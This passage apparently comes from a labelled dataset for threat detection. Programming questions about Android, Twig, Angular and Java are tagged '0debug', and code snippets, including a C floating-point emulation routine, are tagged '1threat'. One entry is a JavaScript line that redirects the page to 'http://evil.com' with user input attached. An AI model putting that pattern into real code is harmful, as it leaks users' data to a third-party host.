= (LayoutInflater) _c.getSystemService(Context.LAYOUT_INFLATER_SERVICE); view = li.inflate(R.layout.contact_info, null); Log.e("Inside", "here--------------------------- In view1"); } else { view = convertView; Log.e("Inside", "here--------------------------- In view2"); } v = new ViewHolder(); v.title = (TextView) view.findViewById(R.id.name); v.check = (CheckBox) view.findViewById(R.id.check); v.phone = (TextView) view.findViewById(R.id.no); v.imageView = (ImageView) view.findViewById(R.id.pic); final SelectUser data = (SelectUser) _data.get(i); v.title.setText(data.getContactName()); v.check.setChecked(data.getCheckedBox()); //v.phone.setText(data.getPhone()); //I want to apply that condition here /*if (data.getPhone().length() <= 10) { v.phone.setText("Contact not Added to list"); } else if(data.getPhone().length() == 10){ v.phone.setText(data.getPhone()); } else if(data.getPhone().equalsIgnoreCase("+")){ v.phone.setText(data.getPhone()); }else if(data.getPhone().startsWith("0")){ v.phone.setText(data.getPhone().replace(0,91)); }*/ view.setTag(data); return view; } // Filter Class public void filter(String charText) { charText = charText.toLowerCase(Locale.getDefault()); _data.clear(); if (charText.length() == 0) { _data.addAll(arraylist); } else { for (SelectUser wp : arraylist) { if (wp.getContactName().toLowerCase(Locale.getDefault()) .contains(charText)) { _data.add(wp); } } } notifyDataSetChanged(); } class ViewHolder { ImageView imageView; TextView title, phone; CheckBox check; } } } plz help me to solve this issue..
0debug
Twig 2.0 error message "Accessing Twig_Template attributes is forbidden" : <p>Since upgrading to Twig 2.0 I get the error message <code>Accessing Twig_Template attributes is forbidden</code>. The referred line contains either an <code>{{ include }}</code> or a macro call.</p>
0debug
Compile dynamic HTML in Angular 4/5- something similar to $compile in Angular JS : <p>I wanted to receive an HTML data via service call to server(this is for sure. I cannot keep templates in local) and manipulate them internally on how to show it(either as a modal or full page). This HTML with Angular tags should be looped to a component and work together. At most kind of $compile in Angular JS.</p> <p>I am developing the solution in Angular 5 and should be compatible with AOT compiler. I had referred several solutions and landed to confusion on the deprecated and updated solutions. Please help me. I believe your updated answer would help many other people as well.. Thank you so much in advance!</p>
0debug
unsigned int DoubleCPDO(const unsigned int opcode) { FPA11 *fpa11 = GET_FPA11(); float64 rFm, rFn = 0; unsigned int Fd, Fm, Fn, nRc = 1; Fm = getFm(opcode); if (CONSTANT_FM(opcode)) { rFm = getDoubleConstant(Fm); } else { switch (fpa11->fType[Fm]) { case typeSingle: rFm = float32_to_float64(fpa11->fpreg[Fm].fSingle, &fpa11->fp_status); break; case typeDouble: rFm = fpa11->fpreg[Fm].fDouble; break; case typeExtended: break; default: return 0; } } if (!MONADIC_INSTRUCTION(opcode)) { Fn = getFn(opcode); switch (fpa11->fType[Fn]) { case typeSingle: rFn = float32_to_float64(fpa11->fpreg[Fn].fSingle, &fpa11->fp_status); break; case typeDouble: rFn = fpa11->fpreg[Fn].fDouble; break; default: return 0; } } Fd = getFd(opcode); switch (opcode & MASK_ARITHMETIC_OPCODE) { case ADF_CODE: fpa11->fpreg[Fd].fDouble = float64_add(rFn,rFm, &fpa11->fp_status); break; case MUF_CODE: case FML_CODE: fpa11->fpreg[Fd].fDouble = float64_mul(rFn,rFm, &fpa11->fp_status); break; case SUF_CODE: fpa11->fpreg[Fd].fDouble = float64_sub(rFn,rFm, &fpa11->fp_status); break; case RSF_CODE: fpa11->fpreg[Fd].fDouble = float64_sub(rFm,rFn, &fpa11->fp_status); break; case DVF_CODE: case FDV_CODE: fpa11->fpreg[Fd].fDouble = float64_div(rFn,rFm, &fpa11->fp_status); break; case RDF_CODE: case FRD_CODE: fpa11->fpreg[Fd].fDouble = float64_div(rFm,rFn, &fpa11->fp_status); break; #if 0 case POW_CODE: fpa11->fpreg[Fd].fDouble = float64_pow(rFn,rFm); break; case RPW_CODE: fpa11->fpreg[Fd].fDouble = float64_pow(rFm,rFn); break; #endif case RMF_CODE: fpa11->fpreg[Fd].fDouble = float64_rem(rFn,rFm, &fpa11->fp_status); break; #if 0 case POL_CODE: fpa11->fpreg[Fd].fDouble = float64_pol(rFn,rFm); break; #endif case MVF_CODE: fpa11->fpreg[Fd].fDouble = rFm; break; case MNF_CODE: { unsigned int *p = (unsigned int*)&rFm; #ifdef WORDS_BIGENDIAN p[0] ^= 0x80000000; #else p[1] ^= 0x80000000; #endif fpa11->fpreg[Fd].fDouble = rFm; } break; case ABS_CODE: { unsigned int *p = (unsigned int*)&rFm; #ifdef WORDS_BIGENDIAN p[0] &= 0x7fffffff; #else p[1] &= 0x7fffffff; #endif fpa11->fpreg[Fd].fDouble = rFm; } break; case RND_CODE: case URD_CODE: fpa11->fpreg[Fd].fDouble = float64_round_to_int(rFm, &fpa11->fp_status); break; case SQT_CODE: fpa11->fpreg[Fd].fDouble = float64_sqrt(rFm, &fpa11->fp_status); break; #if 0 case LOG_CODE: fpa11->fpreg[Fd].fDouble = float64_log(rFm); break; case LGN_CODE: fpa11->fpreg[Fd].fDouble = float64_ln(rFm); break; case EXP_CODE: fpa11->fpreg[Fd].fDouble = float64_exp(rFm); break; case SIN_CODE: fpa11->fpreg[Fd].fDouble = float64_sin(rFm); break; case COS_CODE: fpa11->fpreg[Fd].fDouble = float64_cos(rFm); break; case TAN_CODE: fpa11->fpreg[Fd].fDouble = float64_tan(rFm); break; case ASN_CODE: fpa11->fpreg[Fd].fDouble = float64_arcsin(rFm); break; case ACS_CODE: fpa11->fpreg[Fd].fDouble = float64_arccos(rFm); break; case ATN_CODE: fpa11->fpreg[Fd].fDouble = float64_arctan(rFm); break; #endif case NRM_CODE: break; default: { nRc = 0; } } if (0 != nRc) fpa11->fType[Fd] = typeDouble; return nRc; }
1threat
How are webpages linked? : <p>I'm having trouble figuring out how two pages are linked. For example if I have the following code:</p> <pre><code>&lt;!DOCTYPE html&gt; &lt;html&gt; &lt;button onclick='myfunction()'&gt;Click me&lt;/button&gt; &lt;body&gt; &lt;script&gt; function myfunction() { //some code to take user to the next page } &lt;/script&gt; &lt;style&gt; some style code &lt;/style&gt; </code></pre> <p>How is the code for the second html file called?</p> <p>Do all the contents of all webpages reside in one big html file where elements are hidden depending on the what they've clicked on? For example - the <code>div</code>'s shown on the 'home page' would be shown, while other ones hidden, if you click on a 'home' tab; essentially reformatting the elements on a page for a given file.</p>
0debug
document.location = 'http://evil.com?username=' + user_input;
1threat
How would you create the equivalent of this nested javascript array in Java : <p>[[1,2,[3]],4] we can declare an array like this in Javascript, how would this array be written in Java? the following is something like what i want but does not work as 4 is not a 2d array. Is there a way to do this without lists?</p> <pre><code>int[][] arrayNestedTest = {{1,2},{3}}; int[][][] arrayNestedTest1 = {arrayNestedTest, 4}; </code></pre> <p>Thanks</p>
0debug